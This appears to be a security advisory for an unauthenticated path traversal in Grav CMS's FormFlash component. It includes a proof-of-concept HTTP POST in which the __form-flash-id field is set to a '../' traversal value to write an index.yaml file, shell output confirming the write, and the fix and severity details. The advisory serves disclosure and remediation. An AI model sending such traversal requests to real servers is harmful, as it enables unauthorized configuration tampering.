[ZERO-DAY] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection
Grav CMS (v1.7.49.5 and latest development source) is vulnerable to a Zero-Day Path Traversal vulnerability within the FormFlash core component. By manipulating the session_id (passed as __form-flash-id in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an index.yaml file containing attacker-controlled data.
This vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments.
Grav\Framework\Form\FormFlash__construct() / getTmpDir()session_id (Mapped to __form-flash-id in POST requests)The FormFlash class is used to persist form data across redirects. It constructs a temporary storage path using the provided session_id. The path construction logic in the latest source:
$folder = $config['folder'] ?? ($this->sessionId ? 'tmp://forms/' . $this->sessionId : '');
$this->folder = $folder && $locator->isStream($folder) ? $locator->findResource($folder, true, true) : $folder;
Lack of sanitization on the sessionId (the raw session identifier) allows the use of ../ sequences. When findResource resolves the stream, it allows escape into any writable directory within the webserver's scope (typically user/config/, cache/, logs/, and tmp/).
/contact).__form-flash-id parameter to include a traversal sequence targeting a writable directory (e.g., ../../user/config/proof_dir).poc/) and file (index.yaml) have been created at the traversed path.POST /contact HTTP/1.1
Host: target.grav.cms
Content-Type: application/x-www-form-urlencoded
__form-name-=contact&__form-flash-id=../../user/config/proof_dir&form-data[name]=Attack&form-data[message]=Payload
/var/www/html/user/config/proof_dir/poc//var/www/html/user/config/proof_dir/poc/index.yaml$ ls -la /var/www/html/user/config/proof_dir/
ls: cannot access '/var/www/html/user/config/proof_dir/': No such file or directory
index.yaml created.$ ls -la /var/www/html/user/config/proof_dir/poc/index.yaml
-rw-rw-r-- 1 www-data www-data 158 Mar 23 22:15 /var/www/html/user/config/proof_dir/poc/index.yaml
$ cat /var/www/html/user/config/proof_dir/poc/index.yaml
form: ''
id: ''
unique_id: poc
...
data:
poc_status: confirmed
index.yaml into plugin/theme configuration subdirectories can alter application behavior or inject malicious settings.basename() or a strict alphanumeric regex to the session_id in FormFlash before path construction.user/config/ and other sensitive directories have restrictive permissions preventing the webserver from creating new subdirectories.Fixed in Grav core on the 2.0 branch: commit d904efc33 — will ship in 2.0.0-beta.2.
What changed: FormFlash::__construct() now sanitizes session_id, unique_id, and id through a strict [A-Za-z0-9,_-]{1,64} allowlist before any path is constructed from them. Invalid values collapse to '', which causes save()/delete()/getTmpDir() to no-op — so a __form-flash-id=../../user/config/proof_dir POST simply does nothing on disk.
Files:
system/src/Grav/Framework/Form/FormFlash.phptests/unit/Grav/Common/Security/FormFlashSecurityTest.php — 32 test cases covering the PoC + variants.| Score | Percentile |
|---|---|
| 0.09% | 25.64% |
| Base score | Version | Severity | Vector |
|---|---|---|---|
| 8.8 | 4.0 | — |
|
| Type | Value |
|---|---|
| GHSA | GHSA-hmcx-ch82-3fv2 ↗ |
| CVE | CVE-2026-42608 ↗ |
| CWE id | Name |
|---|---|
| CWE-22 | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') |
Vulnerable version ranges and first patched releases as published by GitHub.
| Ecosystem | Package | Vulnerable range | First patched | Vulnerable functions |
|---|---|---|---|---|
| composer | getgrav/grav | < 2.0.0-beta.2 | 2.0.0-beta.2 | — |